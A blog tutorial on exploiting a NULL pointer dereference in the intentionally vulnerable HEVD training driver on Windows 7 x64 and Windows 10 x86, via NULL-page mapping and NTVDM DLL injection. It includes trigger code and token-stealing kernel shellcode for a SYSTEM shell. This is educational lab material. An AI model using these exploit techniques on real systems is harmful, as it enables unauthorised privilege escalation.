« Back to home

Exploiting Windows 10 Kernel Drivers - NULL Pointer Dereference

In this series of posts, we are exploring kernel driver exploitation via the HEVD driver provided by HackSys Team.

This time we will be focusing on NULL pointer dereferences, and demonstrating how we can exploit this class of vulnerability on both Windows 7 x64 and Windows 10 x32.

NULL pointer dereference bugs are becoming a difficult vulnerability to exploit on modern operating systems. With the NULL page being unavailable to user mode processes in Windows 8 and beyond, it may seem that this class of vulnerability has been mitigated.

However, we know that Windows 7 is still a popular OS in use by many, and we know that thanks to backwards compatibility, Windows 10 has a weakness in 32-bit versions.

To show some of the nuances of exploiting bugs on these operating systems, we will craft 2 exploits with the aim of achieving privilege escalation to the SYSTEM user.

Lab Setup

For this tutorial, we will set up our lab to consist of 3 virtual machines:

  1. Debugging VM
  2. Windows 7 x64 VM
  3. Windows 10 x32 VM

If you have not yet read through the first post in this series, I recommend that you pause and review it now, as it will provide details of how to set up your environment and connect the kernel debugger to your Windows 10 VM.

One thing worth walking through in this post however is how to set up a Windows 7 host for kernel debugging within VirtualBox. If you remember, we previously used the NET option of the Windows 10 kernel debugger, however this is not supported in earlier versions. Due to this, we will revert to using a virtual serial port.

First, on your Windows 7 virtual host settings, select "Ports" and make sure that a serial port is enabled. Being a MacOS user, I am asked to provide a path for a named pipe, however this may differ from OS to OS:

VB_Serial

It is important that the "Connect to existing pipe/socket" option is selected, which will allow the virtual serial port to establish a connection to the kernel debugger VM when required.

Next, on our debugging VM, we will want to perform a similar configuration, providing the same named pipe path, however this time we want to ensure that the "Connect to existing pipe/socket" option is deselected.

Now, on your debugging host, set WinDBG to connect via a COM port:

windbg_com

And on your Windows 7 host, enter the following at an administrative command prompt:

bcdedit /debug on
bcdedit /dbgsettings SERIAL

Reboot your Windows 7 host, and you will find your WinDBG come to life :)

Now that we have our virtual machines set up, let's explore the vulnerability.

The Vulnerability

Similar to part 1 of our HEVD walkthough, we will start by reviewing the source code for the function we are about to target, which in our case is TriggerNullPointerDereference.

This function begins by allocating a number of variables on the stack:

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
  PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

The NullPointerDereference variable is assigned a pointer to an allocated chunk of memory:

// Allocate Pool chunk
    NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                              ExAllocatePoolWithTag(NonPagedPool,
                                                    sizeof(NULL_POINTER_DEREFERENCE),
                                                    (ULONG)POOL_TAG);

Once the allocation is complete, our DeviceIoControl input buffer is processed, and a ULONG read from memory and stored in the UserValue variable:

// Get the value from user mode
    UserValue = *(PULONG)UserBuffer;

Then, an if statement is used to verify that the value passed by the user mode application is actually set to a MagicValue. If this check fails, the previously allocated memory is freed:

// Validate the magic value
    if (UserValue == MagicValue) {
        ...
    }
    else {
        DbgPrint("[+] Freeing NullPointerDereference Object\n");
        DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
        DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

        // Free the allocated Pool chunk
        ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

        // Set to NULL to avoid dangling pointer
        NullPointerDereference = NULL;
   }

Finally, we see that the NullPointerDereference variable is then used to invoke a function pointer:

    DbgPrint("[+] Triggering Null Pointer Dereference\n");

    // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
    // because the developer is not validating if 'NullPointerDereference' is NULL
    // before calling the callback function
    NullPointerDereference->Callback();

This means that a NULL pointer dereference vulnerability exists due to missing checks on the NullPointerDereference variable before use. This can be exploited if an application triggers a DeviceIoControl call, passing a value which does not match MagicValue, and then providing a function pointer at NULL (well, offset 0x4 or 0x8, but we'll get to this later).

(Un)fortunately, in many modern operating systems, the NULL page is no longer accessible, meaning that vulnerabilities such as this are much more difficult to exploit.

We will begin by walking through just how this class of vulnerability can be exploited on Windows 7, which does not benefit from NULL page protection.

Exploiting on Windows 7

Windows 7 gives the option for an attacker to map the NULL page via an API call of ZwAllocateVirtualMemory, which has the following signature:

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

Of particular interest to us is the BaseAddress parameter:

A pointer to a variable that will receive the base address of the allocated region of pages. If the initial value of this parameter is non-NULL, the region is allocated starting at the specified virtual address rounded down to the next host page size address boundary. If the initial value of this parameter is NULL, the operating system will determine where to allocate the region.

This means that if we request a BaseAddress of 1h, the NULL page will be mapped in the process address space, free to use. It is this functionality that we will use to catch an attempt to access the NULL address.

Now, we know that we can trigger a NULL pointer dereference, and we also know that the following call is responsible for invoking a callback function:

NullPointerDereference->Callback();

A quick review of the type associated with the NullPointerDereference variable reveals that the Callback property can be found at offset 0x8 on x64 based systems:

typedef struct _NULL_POINTER_DEREFERENCE {
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

Therefore, our exploit will allocate memory at the NULL page, and set a pointer to our shellcode (we will just use a cc Int-3 breakpoint shellcode for now) at address 8h as follows:

// Get a pointer to the internal ZwAllocateVirtualMemory call
typedef NTSTATUS (* WINAPI ZwAllocateVirtualMemory)(
    _In_    HANDLE    ProcessHandle,
    _Inout_ PVOID     *BaseAddress,
    _In_    ULONG_PTR ZeroBits,
    _Inout_ PSIZE_T   RegionSize,
    _In_    ULONG     AllocationType,
    _In_    ULONG     Protect
);

ZwAllocateVirtualMemory _ZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAllocateVirtualMemory");
  
// Map the NULL page into our process address space
PVOID memAddr = (PVOID)1;
SIZE_T regionSize = 4096;

NTSTATUS alloc = _ZwAllocateVirtualMemory(
	GetCurrentProcess(), 
	&memAddr, 
	0, 
	&regionSize, 
	MEM_COMMIT | MEM_RESERVE, 
	PAGE_EXECUTE_READWRITE
);

// Add our breakpoint shellcode
memset((void*)0x100, '\xcc', 0x100);

// Set the Callback() address
*(unsigned long long*)0x8 = 0x100;

To interact with the driver and trigger the exploit, we will use a similar set of calls as our previous post:

HANDLE driverHandle = CreateFileA(
	"\\\\.\\HackSysExtremeVulnerableDriver",
	GENERIC_READ | GENERIC_WRITE,
	0,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL,
	NULL
);

char exploit[1024];

memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
	driverHandle,
	HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
	exploit,
	sizeof(exploit),
	NULL,
	0,
	NULL,
	NULL
);

Compiled and run, we are greeted with this:

shellcode_trigger

Awesome, we control the rip address. At this stage, we would love to just copy our shellcode from the previous post and be greeted with our SYSTEM shell. However, remember that our previous shell was developed for Windows 10, whereas now we are exploiting Windows 7. This means that we will need to tweak some of the offsets of the shellcode to match this earlier version.

The easiest way to do this is in WinDBG using the dt command, for example:

dt nt!_KPRCB

KPRCB

With all of the offsets updated, we have our shellcode which looks like this:

All that is left to do is to spawn a new "cmd.exe" process and update our shellcode to search for the correct process PID:

STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
	NULL,
	(LPSTR)"cmd.exe",
	NULL,
	NULL,
	true,
	CREATE_NEW_CONSOLE,
	NULL,
	NULL,
	&si,
	&pi
)) {
	printf("[!] FATAL: Error spawning cmd.exe\n");
	return 0;
}
*(DWORD *)((char *)shellcode + 27) = pi.dwProcessId;

And copy our shellcode to 0x100 ready to be called:

memcpy((void*)0x100, shellcode, sizeof(shellcode));

Combined, our final exploit looks like this:

And when run:

HEVD_NULLPtr_Win7

With success on Windows 7, let's move onto Windows 10.

Exploiting on Windows 10 x86

Later versions of Windows have introduced a security protection which prevents user processes from mapping the NULL page, as we did in the above example. This means that we must rely on an alternative method, which comes in the form of NTVDM, or NT Virtual DOS machine.

NTVDM is an optional feature which can be enabled on Windows 10 x86 to support 16-bit applications. As part of running a 16-bit application, a process named NTVDM.exe is launched and the NULL page is mapped. It is this flaw that I previously exploited in my WARBIRD post, and which we will be leveraging again today.

To utilise the NULL page that NTVDM.exe has mapped, we will inject a DLL into the process and copy our shellcode. There are however a number of caveats to note when exploiting this vulnerability in the wild:

  1. The NTVDM subsystem is disabled by default.
  2. An administrative account is required to enable this functionality.

That being said, let's set up NTVDM on our test machine with the following command:

fondue /enable-feature:ntvdm /hide-ux:all

Now, if we run a 16-bit application, such as debug.exe, we will see that the NTVDM.exe process is launched:

ntvdm_process

Next up, we need to have NTVDM load our exploit. To do this we will use a typical VirtualAllocEx/WriteProcessMemory/CreateRemoteThread technique to load a DLL. I am planning a future post on process injection, so I won't go too much into the specifics of this method here. Instead, our injection harness can be found below, with a writeup available for those interested on a previous blog post here.

Now we need to craft a DLL which will host our exploit code. As our DLL will be injected into NTVDM.exe's process address space, we will need to:

  1. Write kernel shellcode which will support x86 version of Windows 10.
  2. Copy the shellcode to address 100h once our DLL is loaded.
  3. Add a pointer to our shellcode at address 4h for the Callback property to use.
  4. Trigger the DeviceIoControl for the HEVD driver, which will pass execution to our shellcode.

First, our kernel shellcode. For this exploit we will reuse our previous WARBIRD shellcode, which simply hunts for a "cmd.exe" process and copies the process token from the privileged System process.

pushad
mov eax, [fs:0x120 + 0x4]   ; Get 'CurrentThread' from KPRCB

mov eax, [eax + 0x150]       ; Get 'Process' property from current thread

next_process:
cmp dword [eax + 0x17c], 'cmd.'  ; Search for 'cmd.exe' process
je found_cmd_process
mov eax, [eax + 0xb8]            ; If not found, go to next process
sub eax, 0xb8
jmp next_process

found_cmd_process:
mov ebx, eax                     ; Save our cmd.exe EPROCESS for later

find_system_process:
cmp dword [eax + 0xb4], 0x00000004  ; Search for PID 4 (System process)
je found_system_process
mov eax, [eax + 0xb8]
sub eax, 0xb8
jmp find_system_process

found_system_process:
mov ecx, [eax + 0xfc]            ; Take TOKEN from System process
mov [ebx+0xfc], ecx              ; And copy it to the cmd.exe process

popad
ret

It is important to note a few subtle differences between this 32-bit Ring-0 shellcode and our previous x64 Windows 7 shellcode:

  1. The segment register used to derive the KPRCB struct is fs rather than the gs register.
  2. All of the offset into the nt!_EPROCESS, nt!_KTHREAD, and nt!KPRCB structures are wildly different.

Now we have our shellcode, we can compile it with:

nasm /tmp/win10-32.asm -o /tmp/win10-32.bin -f bin

And extract a C buffer with:

radare2 -b 32 -c 'pc' /tmp/win10-32.bin

Which will give us our C buffer as:

const uint8_t buffer[] = {
  0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x50,
  0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
  0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
  0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
  0x83, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x74, 0x0d, 0x8b,
  0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00,
  0xeb, 0xea, 0x8b, 0x88, 0xfc, 0x00, 0x00, 0x00, 0x89, 0x8b,
  0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff, 0xff, 0xff, 0xff,
};

Next we need to write our DLL. Similar to our Windows 7 exploit, we will need to trigger the NULL pointer dereference via a DeviceIoControl call:

HANDLE driverHandle = CreateFileA(
	"\\\\.\\HackSysExtremeVulnerableDriver",
	GENERIC_READ | GENERIC_WRITE,
	0,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL,
	NULL
);

char exploit[1024];

memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
	driverHandle,
	HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
	exploit,
	sizeof(exploit),
	NULL,
	0,
	NULL,
	NULL
);

Before we trigger this however, we need to ensure that our shellcode is in place. We will do this by first making sure that the NULL page is set to RWX, by utilising VirtualProtect:

DWORD oldProt;

// Make sure that NULL page is RWX
VirtualProtect(0, 4096, PAGE_EXECUTE_READWRITE, &oldProt);

We will copy our shellcode to the address 100h:

// Copy our shellcode to the NULL page at offset 0x100
RtlCopyMemory((void*)0x100, shellcode, 256);

And finally we will set a pointer to our shellcode at 4h, which is the 32-bit offset to the Callback() property used by the driver:

// Set the ->Callback() function pointer
*(unsigned long long *)0x04 = 0x100;

If we put this together, our final exploit looks like this:

And as we can see, when run, it gives the caller a SYSTEM shell:

HEVD_NULLPtr2